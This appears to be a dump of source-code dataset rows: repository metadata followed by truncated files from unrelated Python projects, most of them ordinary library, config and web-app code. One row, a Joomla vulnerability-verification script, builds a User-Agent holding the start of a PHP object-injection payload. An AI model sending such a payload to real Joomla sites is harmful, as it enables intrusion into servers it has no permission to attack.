4227c970fd93cd66a9ad3b8ee5cd5e09763a4432
[ "Apache-2.0" ]
1
2022-01-26T18:51:29.000Z
2022-01-26T18:51:29.000Z
great_expectations/expectations/core/expect_column_values_to_be_json_parseable.py
taylorfturner/great_expectations
e4964894fb97b933cac713ef1f1a78e33d362ff3
[ "Apache-2.0" ]
null
null
null
great_expectations/expectations/core/expect_column_values_to_be_json_parseable.py
taylorfturner/great_expectations
e4964894fb97b933cac713ef1f1a78e33d362ff3
[ "Apache-2.0" ]
null
null
null
from typing import Optional from great_expectations.core.expectation_configuration import ExpectationConfiguration from great_expectations.expectations.util import render_evaluation_parameter_string from ...render.renderer.renderer import renderer from ...render.types import RenderedStringTemplateContent from ...rend...
37.251208
107
0.613669
79552bb093a507df525f6837f2c199b56e54edb3
8,571
py
Python
streams/interfaces/iterable_stream_interface.py
kefir/snakee
a17734d4b2d7dfd3e6c7b195baa128fbc84d197b
[ "MIT" ]
null
null
null
streams/interfaces/iterable_stream_interface.py
kefir/snakee
a17734d4b2d7dfd3e6c7b195baa128fbc84d197b
[ "MIT" ]
null
null
null
streams/interfaces/iterable_stream_interface.py
kefir/snakee
a17734d4b2d7dfd3e6c7b195baa128fbc84d197b
[ "MIT" ]
null
null
null
from abc import ABC, abstractmethod from typing import Optional, Union, Callable, Iterable, Iterator, NoReturn try: # Assume we're a sub-module in a package. from utils import arguments as arg from utils.external import DataFrame from utils.algo import JoinType from streams.stream_type import StreamTy...
31.862454
113
0.643332
79552bfcc2c78b69474b39be06cf2f7dca51c8fa
1,109
py
Python
gcforest/utils/metrics.py
chenkangyang/CMAESEforWaterPrediction
a50a53748e5cbfc1ae856e776cfa15f80b871780
[ "MIT" ]
null
null
null
gcforest/utils/metrics.py
chenkangyang/CMAESEforWaterPrediction
a50a53748e5cbfc1ae856e776cfa15f80b871780
[ "MIT" ]
12
2019-12-16T21:48:20.000Z
2022-02-10T00:21:16.000Z
gcforest/utils/metrics.py
chenkangyang/CMAESEforWaterPrediction
a50a53748e5cbfc1ae856e776cfa15f80b871780
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- import numpy as np from sklearn.metrics import f1_score from .win_utils import win_vote, win_avg def accuracy(y_true, y_pred): return 1.0 * np.sum(y_true == y_pred) / len(y_true) def accuracy_pb(y_true, y_proba): y_true = y_true.reshape(-1) y_pred = np.argmax(y_proba.reshape((-1, y...
24.644444
67
0.641118
79552c9460acce1a8fabe24a555e1baf2d55ddbf
1,854
py
Python
openstack_dashboard/test/urls.py
enovance/horizon
2ed6e93c9c4e534883126c93d3283e8c93bc674f
[ "Apache-2.0" ]
3
2015-04-24T22:39:12.000Z
2021-03-29T15:38:53.000Z
openstack_dashboard/test/urls.py
enovance/horizon
2ed6e93c9c4e534883126c93d3283e8c93bc674f
[ "Apache-2.0" ]
1
2021-03-21T11:48:09.000Z
2021-03-21T11:48:09.000Z
openstack_dashboard/test/urls.py
enovance/horizon
2ed6e93c9c4e534883126c93d3283e8c93bc674f
[ "Apache-2.0" ]
15
2017-01-12T10:40:00.000Z
2019-04-19T08:28:05.000Z
# # (c) Copyright 2015 Hewlett-Packard Development Company, L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
34.981132
78
0.73247
79552d6b7be55db40f99839650fc6e0d26f4a57c
1,189
py
Python
configs/past/config_rodnet_gsc_win16.py
zhengzangw/RODNet
eca5f2bd1f3051c2b823d279532ddafa71b009c1
[ "MIT" ]
null
null
null
configs/past/config_rodnet_gsc_win16.py
zhengzangw/RODNet
eca5f2bd1f3051c2b823d279532ddafa71b009c1
[ "MIT" ]
null
null
null
configs/past/config_rodnet_gsc_win16.py
zhengzangw/RODNet
eca5f2bd1f3051c2b823d279532ddafa71b009c1
[ "MIT" ]
null
null
null
dataset_cfg = dict( dataset_name="rod2021_valid", base_root="./rod2021_valid", data_root="./rod2021_valid/sequences", anno_root="./rod2021_valid/annotations", anno_ext=".txt", train=dict(subdir="train",), valid=dict(subdir="valid", seqs=[],), test=dict(subdir="test",), demo=dict(subd...
23.313725
66
0.60471
79553033b9ba384440e98146a2a03a59854c8f95
924
py
Python
src/users/app.py
MitraThakker/MyMDB
f812f9005b64f0644ff0829211e098a115bf1584
[ "MIT" ]
null
null
null
src/users/app.py
MitraThakker/MyMDB
f812f9005b64f0644ff0829211e098a115bf1584
[ "MIT" ]
null
null
null
src/users/app.py
MitraThakker/MyMDB
f812f9005b64f0644ff0829211e098a115bf1584
[ "MIT" ]
null
null
null
from flask import Flask, jsonify, request from src.users import svc as user_svc app = Flask('user') @app.route('/', methods=['GET']) def index(): return "Hello, world!" @app.route('/movies', methods=['GET']) def list_all_movies(): result = user_svc.list_all_movies() if result is not None: retu...
23.1
52
0.659091
795530cde74ebd9b1cb552c5d24590d84973a777
25,198
py
Python
ckan/lib/pagination.py
JGulic/ckan
fe604ba20b63ce4802c108ce20e26e742b2905c8
[ "Apache-2.0" ]
1
2020-01-16T10:46:18.000Z
2020-01-16T10:46:18.000Z
ckan/lib/pagination.py
JGulic/ckan
fe604ba20b63ce4802c108ce20e26e742b2905c8
[ "Apache-2.0" ]
null
null
null
ckan/lib/pagination.py
JGulic/ckan
fe604ba20b63ce4802c108ce20e26e742b2905c8
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- u''' This module was copied (with modifications) from the webhelpers library, which is distributed with the following license: Copyright (c) 2005-2009 Ben Bangert, James Gardner, Philip Jenvey, Mike Orr, Jon Rosenbaugh, Christoph Haas, and other ...
38.063444
79
0.597111
795530e6f69efed66df8a91a383091f65e455a6a
27,342
py
Python
Lib/asyncio/streams.py
umoqnier/cpython
d8ca2354ed30c12b9ce37c4535222b700a727b32
[ "CNRI-Python-GPL-Compatible" ]
3
2020-09-23T14:09:49.000Z
2021-06-23T07:48:04.000Z
Lib/asyncio/streams.py
umoqnier/cpython
d8ca2354ed30c12b9ce37c4535222b700a727b32
[ "CNRI-Python-GPL-Compatible" ]
2
2022-01-25T23:07:38.000Z
2022-03-01T18:04:59.000Z
Lib/asyncio/streams.py
umoqnier/cpython
d8ca2354ed30c12b9ce37c4535222b700a727b32
[ "CNRI-Python-GPL-Compatible" ]
2
2019-11-16T02:03:51.000Z
2019-11-16T02:10:57.000Z
__all__ = ( 'StreamReader', 'StreamWriter', 'StreamReaderProtocol', 'open_connection', 'start_server') import socket import sys import warnings import weakref if hasattr(socket, 'AF_UNIX'): __all__ += ('open_unix_connection', 'start_unix_server') from . import coroutines from . import events from . impor...
36.023715
79
0.608478
79553137b47037f4032bdf73042a0df2a8bed8d0
231
py
Python
manage.py
bintadam/DailyNewsApp
3bed025cd53aa3dab83de4cf7425203506f48951
[ "MIT" ]
null
null
null
manage.py
bintadam/DailyNewsApp
3bed025cd53aa3dab83de4cf7425203506f48951
[ "MIT" ]
null
null
null
manage.py
bintadam/DailyNewsApp
3bed025cd53aa3dab83de4cf7425203506f48951
[ "MIT" ]
null
null
null
from app import create_app from flask_script import Manager, Server # Creating app instance app = create_app('development') manager = Manager(app) manager.add_command('server',Server) if __name__ == '__main__': manager.run()
21
40
0.761905
7955318357c5715d20c7c5e780a16b8a272ad7d6
32,628
py
Python
ring/func/base.py
machenity/ring
a44aa375e45e09f33e2a48067cfeafdde07a8bad
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
ring/func/base.py
machenity/ring
a44aa375e45e09f33e2a48067cfeafdde07a8bad
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
ring/func/base.py
machenity/ring
a44aa375e45e09f33e2a48067cfeafdde07a8bad
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
""":mod:`ring.func.base` --- The building blocks of **ring.func.\***. ===================================================================== """ # noqa: W605 import abc import types from typing import List import six from wirerope import Wire, WireRope, RopeCore from .._compat import functools, qualname from ..callab...
36.053039
106
0.648094
79553202bd943a3745bcce095b9a9a6b3e58c3a1
4,307
py
Python
word_knn/nlpl_retriever.py
rom1504/word-knn
56cb113a8f843eaafec6200ec5ed6e88876edf12
[ "MIT" ]
4
2019-08-26T11:52:23.000Z
2020-08-10T17:52:40.000Z
word_knn/nlpl_retriever.py
rom1504/word-knn
56cb113a8f843eaafec6200ec5ed6e88876edf12
[ "MIT" ]
5
2019-08-26T00:20:36.000Z
2020-08-10T12:37:51.000Z
word_knn/nlpl_retriever.py
rom1504/word-knn
56cb113a8f843eaafec6200ec5ed6e88876edf12
[ "MIT" ]
1
2020-10-08T20:56:14.000Z
2020-10-08T20:56:14.000Z
import numpy as np import os.path import os from io import BytesIO from zipfile import ZipFile from urllib.request import urlopen from word_knn.closest_words import inverse_dict from word_knn.closest_words import ClosestWords from word_knn.closest_words import build_knn_index from pathlib import Path home = str(Path.h...
33.913386
117
0.634781
795532ff7863d1dba1002c4c2018f001506c65cc
5,653
py
Python
testcase_helpers.py
freingruber/JavaScript-Raider
d1c1fff2fcfc60f210b93dbe063216fa1a83c1d0
[ "Apache-2.0" ]
91
2022-01-24T07:32:34.000Z
2022-03-31T23:37:15.000Z
testcase_helpers.py
zeusguy/JavaScript-Raider
d1c1fff2fcfc60f210b93dbe063216fa1a83c1d0
[ "Apache-2.0" ]
null
null
null
testcase_helpers.py
zeusguy/JavaScript-Raider
d1c1fff2fcfc60f210b93dbe063216fa1a83c1d0
[ "Apache-2.0" ]
11
2022-01-24T14:21:12.000Z
2022-03-31T23:37:23.000Z
# Copyright 2022 @ReneFreingruber # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing...
37.939597
100
0.651866
79553365ec6009dc4c9b0a3d048c144940716e6f
552
py
Python
follow/migrations/0003_alter_follow_created_alter_request_created.py
CMPUT404W22AMNRY/CMPUT404-project-socialdistribution
61d5c8aa2c7f038c137fc86c8b194d92a33d90e3
[ "W3C-20150513" ]
1
2022-01-14T04:37:54.000Z
2022-01-14T04:37:54.000Z
follow/migrations/0003_alter_follow_created_alter_request_created.py
CMPUT404W22AMNRY/CMPUT404-project-socialdistribution
61d5c8aa2c7f038c137fc86c8b194d92a33d90e3
[ "W3C-20150513" ]
88
2022-02-19T00:16:44.000Z
2022-03-29T03:05:08.000Z
follow/migrations/0003_alter_follow_created_alter_request_created.py
CMPUT404W22AMNRY/CMPUT404-project-socialdistribution
61d5c8aa2c7f038c137fc86c8b194d92a33d90e3
[ "W3C-20150513" ]
null
null
null
# Generated by Django 4.0.2 on 2022-03-04 18:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('follow', '0002_request_title'), ] operations = [ migrations.AlterField( model_name='follow', name='created', ...
23
58
0.583333
795534b194f33c2421c3754ea55c88ae749e12ae
631
py
Python
lib/celcius/unix/commands/rm.py
claymcleod/celcius
e46a3c1ba112af9de23360d1455ab1e037a38ea1
[ "MIT" ]
4
2016-01-15T22:34:24.000Z
2016-06-02T06:38:47.000Z
lib/celcius/unix/commands/rm.py
claymcleod/celcius
e46a3c1ba112af9de23360d1455ab1e037a38ea1
[ "MIT" ]
null
null
null
lib/celcius/unix/commands/rm.py
claymcleod/celcius
e46a3c1ba112af9de23360d1455ab1e037a38ea1
[ "MIT" ]
null
null
null
class rm(object): """Class for wrapping UNIX 'rm' command""" basecommand = 'rm' def __init__(self, filename=''): self.options = [] self.filename = filename def add_option(self, option): self.options.append(option) def build_command(self): command_bits = [] ...
23.37037
55
0.613312
795534fbbc8d1fff9e0542ea332b16b8a748273b
1,023
py
Python
awarding/urls.py
amtesire/Project-Awards
3728e3b5d9c1a89949101bef301fdd9b51d4fd7e
[ "MIT" ]
null
null
null
awarding/urls.py
amtesire/Project-Awards
3728e3b5d9c1a89949101bef301fdd9b51d4fd7e
[ "MIT" ]
null
null
null
awarding/urls.py
amtesire/Project-Awards
3728e3b5d9c1a89949101bef301fdd9b51d4fd7e
[ "MIT" ]
null
null
null
"""awarding URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.11/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-b...
37.888889
79
0.690127
795534fc82f354ea40d5f086736721253f2d64b3
3,444
py
Python
sling/nlp/parser/tools/viewmodel.py
SasCezar/sling
809e21a9986d2522d5014b5836ba222498c099a2
[ "Apache-2.0" ]
null
null
null
sling/nlp/parser/tools/viewmodel.py
SasCezar/sling
809e21a9986d2522d5014b5836ba222498c099a2
[ "Apache-2.0" ]
null
null
null
sling/nlp/parser/tools/viewmodel.py
SasCezar/sling
809e21a9986d2522d5014b5836ba222498c099a2
[ "Apache-2.0" ]
null
null
null
# Copyright 2018 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
33.115385
80
0.618757
795536438222ae6349b72511ed5dbd270a198659
234
py
Python
Code/Python-Current/Support/SupportUtils.py
Coltonton/Custom-Car-Dashboard
7719cf806e471857ae451ff030236ca57f5e76ce
[ "MIT" ]
3
2021-07-22T09:45:56.000Z
2022-01-05T09:09:53.000Z
Code/Python-Current/Support/SupportUtils.py
Coltonton/Custom-Car-Dashboard
7719cf806e471857ae451ff030236ca57f5e76ce
[ "MIT" ]
null
null
null
Code/Python-Current/Support/SupportUtils.py
Coltonton/Custom-Car-Dashboard
7719cf806e471857ae451ff030236ca57f5e76ce
[ "MIT" ]
null
null
null
from datetime import datetime debugMSGs = 1 def printDebug(msg): if debugMSGs == 1: now = datetime.now() debugtime = now.strftime("%m/%d %I:%M.%S") print("[{}]: {}".format(debugtime, msg))#] #Debug Msg ()
26
64
0.57265
7955364c4a6740566ce23c36f3de7f2ee660f6aa
949
py
Python
Joomla/验证Joomla是否存在反序列化漏洞的脚本/Joomla.py
csadsl/poc_exp
e3146262e7403f19f49ee2db56338fa3f8e119c9
[ "MIT" ]
11
2020-05-30T13:53:49.000Z
2021-03-17T03:20:59.000Z
Joomla/验证Joomla是否存在反序列化漏洞的脚本/Joomla.py
csadsl/poc_exp
e3146262e7403f19f49ee2db56338fa3f8e119c9
[ "MIT" ]
6
2020-05-13T03:25:18.000Z
2020-07-21T06:24:16.000Z
Joomla/验证Joomla是否存在反序列化漏洞的脚本/Joomla.py
csadsl/poc_exp
e3146262e7403f19f49ee2db56338fa3f8e119c9
[ "MIT" ]
6
2020-05-30T13:53:51.000Z
2020-12-01T21:44:26.000Z
#!/usr/bin/python # coding=utf-8 # author:KuuKi #python joomla.py http://example.com/ import urllib2 import cookielib,sys cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) urllib2.socket.setdefaulttimeout(10) ua = '}__test|O:21:"JDatabas...
49.947368
450
0.710221
7955376f507937ae76a45faeefcd8afd6477d70f
22,630
py
Python
kelvin/ueg_scf_system.py
MoleOrbitalHybridAnalyst/kelvin
99538f8360975e2f80941446d8fbf2e848f74cf9
[ "MIT" ]
null
null
null
kelvin/ueg_scf_system.py
MoleOrbitalHybridAnalyst/kelvin
99538f8360975e2f80941446d8fbf2e848f74cf9
[ "MIT" ]
null
null
null
kelvin/ueg_scf_system.py
MoleOrbitalHybridAnalyst/kelvin
99538f8360975e2f80941446d8fbf2e848f74cf9
[ "MIT" ]
null
null
null
import logging import numpy from pyscf import lib from cqcpy import ft_utils from cqcpy.ov_blocks import one_e_blocks from cqcpy.ov_blocks import two_e_blocks from cqcpy.ov_blocks import two_e_blocks_full from .system import System from .ueg_utils import UEGBasis einsum = lib.einsum #einsum = einsum class UEGSCFSyst...
36.035032
77
0.506628
795538701972a039f912b478252ddc9959982731
2,972
py
Python
streams.py
exu0/play-streams
0e8cbfe4e5f09d57680afef3bc2a6b9de9ff0e4b
[ "MIT" ]
null
null
null
streams.py
exu0/play-streams
0e8cbfe4e5f09d57680afef3bc2a6b9de9ff0e4b
[ "MIT" ]
null
null
null
streams.py
exu0/play-streams
0e8cbfe4e5f09d57680afef3bc2a6b9de9ff0e4b
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import ConfigParser import sys import subprocess import os CONFIG_FILE = "config" class Station: def __init__(self, name, url, playlist): self.name = name self.url = url self.playlist = playlist def __str__(self): return self.name class Config:...
31.284211
162
0.534657
795538852163022525f780c5c77ca505a20c4c72
172
py
Python
des097.py
LeonardoPereirajr/Curso_em_video_Python
9d8a97ba3389c8e86b37dfd089fab5d04adc146d
[ "MIT" ]
null
null
null
des097.py
LeonardoPereirajr/Curso_em_video_Python
9d8a97ba3389c8e86b37dfd089fab5d04adc146d
[ "MIT" ]
null
null
null
des097.py
LeonardoPereirajr/Curso_em_video_Python
9d8a97ba3389c8e86b37dfd089fab5d04adc146d
[ "MIT" ]
null
null
null
def escreva(msg): c = len(msg) + 4 print(c * '^') print(f' {msg} ') print(c * '^') #PRINCIPAL escreva('LEONARDO PEREIRA junior') print()
12.285714
35
0.488372
795539719af164627911840332d64c624d57efad
1,412
py
Python
Chapter_3/Dictionary/dictionary.py
random-forest-ai/python_course
cd6b7f30e1932312c05178e6bb66cc95c72fe6c1
[ "MIT" ]
null
null
null
Chapter_3/Dictionary/dictionary.py
random-forest-ai/python_course
cd6b7f30e1932312c05178e6bb66cc95c72fe6c1
[ "MIT" ]
null
null
null
Chapter_3/Dictionary/dictionary.py
random-forest-ai/python_course
cd6b7f30e1932312c05178e6bb66cc95c72fe6c1
[ "MIT" ]
null
null
null
if __name__ == '__main__': # Declare # x = {} # x = {"Apple": 1, 10000: [1,2,3]} x = dict( [("London", 9623), ("New York", 12947)] ) # dict(list of tuples) # x = {[1,2,3]: 100} # Not OK, keys should be immutable # x = {100: [1,2,3]} # x = {2: 4, 2: 6} x = {-2: 4, 2: 4} distance_fro...
27.686275
83
0.594193
795539a6ae0fa802f64e8ce7dcd0562302fd788b
5,241
py
Python
.bash/powerline-shell/powerline_shell_base.py
chrislaskey/.dot-files
44be2364f2824a2c70300f7c0f2963a592c7083e
[ "MIT" ]
null
null
null
.bash/powerline-shell/powerline_shell_base.py
chrislaskey/.dot-files
44be2364f2824a2c70300f7c0f2963a592c7083e
[ "MIT" ]
null
null
null
.bash/powerline-shell/powerline_shell_base.py
chrislaskey/.dot-files
44be2364f2824a2c70300f7c0f2963a592c7083e
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import argparse import os import sys py3 = sys.version_info.major == 3 def warn(msg): print('[powerline-bash] ', msg) class Powerline: symbols = { 'compatible': { 'lock': 'RO', 'network': 'S...
35.412162
86
0.58901
79553a34161cc1fb9df2106135e662d55e330b6d
4,258
py
Python
lib/3rdparty/osx/MobileDevice/crashmover.py
tommo/gii
03624a57cf74a07e38bfdc7f53c50bd926b7b5a7
[ "MIT" ]
7
2016-02-13T18:47:23.000Z
2020-07-03T13:47:49.000Z
crashmover.py
db17/MobileDevice
11dee1a63030fc5d1e459cac88e7f2716a7811f6
[ "MIT" ]
1
2018-06-13T04:55:27.000Z
2021-11-05T05:52:51.000Z
crashmover.py
db17/MobileDevice
11dee1a63030fc5d1e459cac88e7f2716a7811f6
[ "MIT" ]
4
2016-02-15T13:32:46.000Z
2019-12-12T17:22:31.000Z
#!/usr/bin/python # coding: utf-8 # Copyright (c) 2013 Mountainstorm # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use,...
27.649351
80
0.716768
79553a9fa1b80d1ef8326a60f1a7d5072d08ac88
855
py
Python
bespin/wsgi.py
Duke-GCB/bespin-api
cea5c20fb2ff592adabe6ebb7ca934939aa11a34
[ "MIT" ]
null
null
null
bespin/wsgi.py
Duke-GCB/bespin-api
cea5c20fb2ff592adabe6ebb7ca934939aa11a34
[ "MIT" ]
137
2016-12-09T18:59:45.000Z
2021-06-10T18:55:47.000Z
bespin/wsgi.py
Duke-GCB/bespin-api
cea5c20fb2ff592adabe6ebb7ca934939aa11a34
[ "MIT" ]
3
2017-11-14T16:05:58.000Z
2018-12-28T18:07:43.000Z
""" WSGI config for bespin project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTI...
25.909091
78
0.750877
79553b99342f6d48c8e47b8a83d504013a44f32b
877
py
Python
germanium/patch.py
jsilhan/germanium
f7df0f3adfd13d9a9eb0b2e1ee691099ca55527a
[ "MIT" ]
null
null
null
germanium/patch.py
jsilhan/germanium
f7df0f3adfd13d9a9eb0b2e1ee691099ca55527a
[ "MIT" ]
null
null
null
germanium/patch.py
jsilhan/germanium
f7df0f3adfd13d9a9eb0b2e1ee691099ca55527a
[ "MIT" ]
null
null
null
def patch_broken_pipe_error(): """Monkey Patch BaseServer.handle_error to not write a stacktrace to stderr on broken pipe. http://stackoverflow.com/a/22618740/362702""" import sys from socketserver import BaseServer from wsgiref import handlers handle_error = BaseServer.handle_error lo...
32.481481
57
0.711517
79553bd45c868adcf00ba5bad9715cca2e4e5372
2,336
py
Python
app/customer/models/feedback.py
B-ROY/TESTGIT
40221cf254c90d37d21afb981635740aebf11949
[ "Apache-2.0" ]
2
2017-12-02T13:58:30.000Z
2018-08-02T17:07:59.000Z
app/customer/models/feedback.py
B-ROY/TESTGIT
40221cf254c90d37d21afb981635740aebf11949
[ "Apache-2.0" ]
null
null
null
app/customer/models/feedback.py
B-ROY/TESTGIT
40221cf254c90d37d21afb981635740aebf11949
[ "Apache-2.0" ]
null
null
null
#coding=utf-8 from mongoengine import * import logging import datetime from app.customer.models.user import * from django.db import models from base.settings import CHATPAMONGO connect(CHATPAMONGO.db, host=CHATPAMONGO.host, port=CHATPAMONGO.port, username=CHATPAMONGO.username, password=CHATPAMONGO.password) ...
33.855072
100
0.624572
79553d1b156155b6ca4af72f7193f633478d5328
3,398
py
Python
src/diamond/handler/test/teststatsdhandler.py
kevinrobinson/Diamond-1
a15c4c178d9cc0c1c111652a8a6323206a9f31ac
[ "MIT" ]
6
2015-04-13T21:24:24.000Z
2020-05-11T07:43:05.000Z
src/diamond/handler/test/teststatsdhandler.py
kevinrobinson/Diamond-1
a15c4c178d9cc0c1c111652a8a6323206a9f31ac
[ "MIT" ]
3
2015-09-11T16:29:54.000Z
2016-05-18T15:31:54.000Z
src/diamond/handler/test/teststatsdhandler.py
kevinrobinson/Diamond-1
a15c4c178d9cc0c1c111652a8a6323206a9f31ac
[ "MIT" ]
13
2015-01-11T12:10:45.000Z
2021-01-27T10:55:02.000Z
#!/usr/bin/python # coding=utf-8 ################################################################################ from test import unittest from test import run_only from mock import patch from mock import ANY import configobj from diamond.handler.stats_d import StatsdHandler from diamond.metric import Metric try: ...
30.339286
80
0.607416
79553e12135f53622811ea41908d23e0393e6506
7,513
py
Python
ports/esp32/modules/mpython_classroom_kit.py
ghsecuritylab/mPython-classroom-kit
c58c124b2268af328277183bd3d018c3aee744e1
[ "MIT" ]
null
null
null
ports/esp32/modules/mpython_classroom_kit.py
ghsecuritylab/mPython-classroom-kit
c58c124b2268af328277183bd3d018c3aee744e1
[ "MIT" ]
null
null
null
ports/esp32/modules/mpython_classroom_kit.py
ghsecuritylab/mPython-classroom-kit
c58c124b2268af328277183bd3d018c3aee744e1
[ "MIT" ]
null
null
null
# labplus mPython-box library # MIT license; Copyright (c) 2018 labplus # mpython-box buildin periphers drivers # history: # V1.0 zhaohuijiang from machine import Pin, ADC import time, ujson from mpython_classroom_kit_driver import K210,K210Error from mpython import i2c import ubinascii # human infrared pir = Pin(2...
23.625786
66
0.58858
79553ff4b657d4ece17177cd6939286154ee44ef
1,632
py
Python
tomviz/python/tomviz/io/formats/matlab.py
alesgenova/tomviz
4d027585ad81f7a92e055fbf4658e63a8573c55d
[ "BSD-3-Clause" ]
null
null
null
tomviz/python/tomviz/io/formats/matlab.py
alesgenova/tomviz
4d027585ad81f7a92e055fbf4658e63a8573c55d
[ "BSD-3-Clause" ]
null
null
null
tomviz/python/tomviz/io/formats/matlab.py
alesgenova/tomviz
4d027585ad81f7a92e055fbf4658e63a8573c55d
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- ############################################################################### # # This source file is part of the tomviz project. # # Copyright Kitware, Inc. # # This source code is released under the New BSD License, (the "License"). # # Unless required by applicable law or agreed to in ...
27.661017
79
0.572304
79554047150b909c50002b9ff262c7840896c01a
7,010
py
Python
src/datadog_api_client/v1/model/widget_text_align.py
MichaelTROEHLER/datadog-api-client-python
12c46626622fb1277bb1e172753b342c671348bd
[ "Apache-2.0" ]
null
null
null
src/datadog_api_client/v1/model/widget_text_align.py
MichaelTROEHLER/datadog-api-client-python
12c46626622fb1277bb1e172753b342c671348bd
[ "Apache-2.0" ]
null
null
null
src/datadog_api_client/v1/model/widget_text_align.py
MichaelTROEHLER/datadog-api-client-python
12c46626622fb1277bb1e172753b342c671348bd
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. # This product includes software developed at Datadog (https://www.datadoghq.com/). # Copyright 2019-Present Datadog, Inc. import re # noqa: F401 import sys # noqa: F401 import nulltype # ...
38.306011
124
0.571041
7955409ebbeb9aa3f1040f132a9694e59f1f239a
501
py
Python
20.trench-map/py/part2.py
rolandbernard/adventofcode-2021
9249815af62d0fcf79b71357330a1456ea3be1ed
[ "BSD-2-Clause" ]
null
null
null
20.trench-map/py/part2.py
rolandbernard/adventofcode-2021
9249815af62d0fcf79b71357330a1456ea3be1ed
[ "BSD-2-Clause" ]
null
null
null
20.trench-map/py/part2.py
rolandbernard/adventofcode-2021
9249815af62d0fcf79b71357330a1456ea3be1ed
[ "BSD-2-Clause" ]
null
null
null
import sys import numpy as np from scipy.ndimage import convolve rawalgo, rawimg = sys.stdin.read().strip().split('\n\n') algo = np.array([1 if c == '#' else 0 for c in rawalgo]) img = np.array([[1 if c == '#' else 0 for c in line] for line in rawimg.split('\n')]) bin = 2**np.arange(9).reshape(3, 3) def enhance(i...
20.875
85
0.622754
79554166d18801777cfbef014f858ab86a0d6ff8
28,809
py
Python
climpred/bias_removal.py
pangeo-data/climpred
8df537f4a3740441dba55e018ce65e1b6d977162
[ "MIT" ]
104
2020-09-17T16:46:37.000Z
2022-03-29T16:49:44.000Z
climpred/bias_removal.py
pangeo-data/climpred
8df537f4a3740441dba55e018ce65e1b6d977162
[ "MIT" ]
303
2020-09-17T16:05:24.000Z
2022-03-28T19:59:31.000Z
climpred/bias_removal.py
pangeo-data/climpred
8df537f4a3740441dba55e018ce65e1b6d977162
[ "MIT" ]
18
2020-10-08T15:40:42.000Z
2022-03-29T19:07:54.000Z
import logging import warnings import numpy as np import pandas as pd import xarray as xr from bias_correction import XBiasCorrection from xclim import sdba from xskillscore.core.utils import suppress_warnings from .constants import BIAS_CORRECTION_BIAS_CORRECTION_METHODS, GROUPBY_SEASONALITIES from .metrics import M...
40.0125
168
0.632858
795542e32271dcef46ba87f8eb306a054dbdfef3
4,304
py
Python
4cw.py
lisoleg/pybancor
bbec2b9eb650799f965dbc5981025907ecb9da37
[ "MIT" ]
null
null
null
4cw.py
lisoleg/pybancor
bbec2b9eb650799f965dbc5981025907ecb9da37
[ "MIT" ]
null
null
null
4cw.py
lisoleg/pybancor
bbec2b9eb650799f965dbc5981025907ecb9da37
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt import random slista=[] blista=[] plista=[] splista=[] jlist=[0,1,2,3] cwlist=[0.05, 0.075, 0.08, 0.1] totalyr=3 for j in jlist: slista.append([]) blista.append([]) plista.append([]) splista.append([]) s0=4.96*10**8 mtop=10*10**8 stop=10**9-s0 oneday=24*60*6...
25.619048
363
0.662872
795544040a0f1f4d0ba64676987cfd367deebc02
704
py
Python
Projective-Geometry/bergar/com.bergar.simonsen.homography/tools/IO.py
tonybeltramelli/Graphics-And-Vision
a1dbeada8e907b119ecce1fe421ae91e64ff3371
[ "Apache-2.0" ]
12
2017-05-26T12:04:38.000Z
2021-07-11T04:42:19.000Z
Projective-Geometry/bergar/com.bergar.simonsen.homography/tools/IO.py
tonybeltramelli/Graphics-And-Vision
a1dbeada8e907b119ecce1fe421ae91e64ff3371
[ "Apache-2.0" ]
null
null
null
Projective-Geometry/bergar/com.bergar.simonsen.homography/tools/IO.py
tonybeltramelli/Graphics-And-Vision
a1dbeada8e907b119ecce1fe421ae91e64ff3371
[ "Apache-2.0" ]
4
2017-05-09T08:26:44.000Z
2018-04-23T03:16:01.000Z
__author__ = 'bs' import cv2 from config.Const import * from tools import Utils import numpy as np def writeImage(I): fName = SAVE_FOLDER + OUTPUT_IMAGE + JPG_EXTENSION for i in range(MAX_FILES): if not Utils.doesFileExist(fName): cv2.imwrite(SAVE_FOLDER + fName, I) break ...
28.16
78
0.62358
795545b75a3708590252f2c4216a291a8a4a49b7
355
py
Python
src/aturtle/shapes/__init__.py
fabricejumel/python-aturtle
008f71a5e506cb58465f85ee9dc8ea1bffa6fc49
[ "MIT" ]
3
2019-12-23T15:25:39.000Z
2022-02-25T22:09:49.000Z
src/aturtle/shapes/__init__.py
fabricejumel/python-aturtle
008f71a5e506cb58465f85ee9dc8ea1bffa6fc49
[ "MIT" ]
55
2019-12-27T14:05:02.000Z
2020-02-01T09:53:42.000Z
src/aturtle/shapes/__init__.py
fabricejumel/python-aturtle
008f71a5e506cb58465f85ee9dc8ea1bffa6fc49
[ "MIT" ]
1
